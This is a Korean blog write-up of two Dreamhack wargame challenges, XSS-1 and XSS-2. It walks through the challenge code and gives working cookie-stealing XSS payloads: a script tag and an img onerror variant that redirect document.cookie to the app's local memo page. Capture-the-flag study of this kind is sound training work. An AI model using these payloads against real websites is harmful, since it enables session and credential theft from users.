본문 바로가기

WriteUp/드림핵

XSS-1, XSS-2

XSS-1

https://dreamhack.io/wargame/challenges/28

 

 

1. 웹 페이지 확인

 

vuln(xss) page, memo, flag 버튼이 있었다.

 

 

vuln(xss) page

 

해당 페이지를 보면, <script>alert(1)</script> 스크립트 구문이 정상적으로 작동하는 것을 확인할 수 있었고,

 

 

memo

 

다음 페이지에서는 memo=에 있는 hello가 출력되는 것을 확인할 수 있었다.

 

 

flag

마지막으로 flag 페이지에서는 param에 값을 입력하면 good 이라는 alert 창이 뜬다.

 

 

2. 코드 확인

read_url()

 url을 읽어 취약한 환경을 세팅해주고

 

app.py - check_xss

 

param 값을 받아와 http://127.0.0.1:8000/vuln?param=에 넣어준다.

 

vuln(), flag()

 

vuln()에서는 param 값을 받아와서 리턴해주고

 

flag()에서는 GET 방식에서는 flag.html을, POST 방식인 경우엔 param 값을 받아와

check_xss에 인수로 넣어 거짓인 경우 alert로 "wrong"를 띄우고, 참인 경우엔 "good"을 띄운다.

 

memo()

 

이제 memo()를 이용해 flag 값을 알아낼 것이다.

 

3. exploit

스크립트를 param에 넣어 memo에 들어갔을 때 hello와 함께 관리자의 쿠키 값(flag)을 얻는다.

 

스크립트는 다음과 같다.

<script>location.href="http://127.0.0.1:8000/memo?memo=hello"+document.cookie;</script>
memo 위치로 이동하여 쿠키값을 hello와 함께 출력시켰다.

flag값


XSS-2 

https://dreamhack.io/wargame/challenges/268

 

XSS-1과 거의 동일하나 약간의 차이가 있었다.

 

 

vuln(xss) page에서 xss-1과 다르게 alert(1) 창이 뜨지 않았다.

vuln(xss) page

 

그래서 <script></script> 대신에 img의 onerror을 이용해보았다.

 

onerror는 script처럼 오류 발생 시 알림을 띄우는 역할을 하는데,

<script>location.href="http://127.0.0.1:8000/memo?memo=hello"+document.cookie;</script>를 

<img src="" onerror=location.href="http://127.0.0.1:8000/memo?memo=hello"+document.cookie>로 수정했다.

 

그 결과 flag 값을 확인할 수 있었다.

flag 값

 

'WriteUp > 드림핵' 카테고리의 다른 글

error based sql injection  (0) 2024.05.13
command-injection-chatgpt  (0) 2024.04.12
what-is-my-ip  (0) 2024.04.08
simple_sqli  (0) 2024.04.01
baby-union  (0) 2024.03.26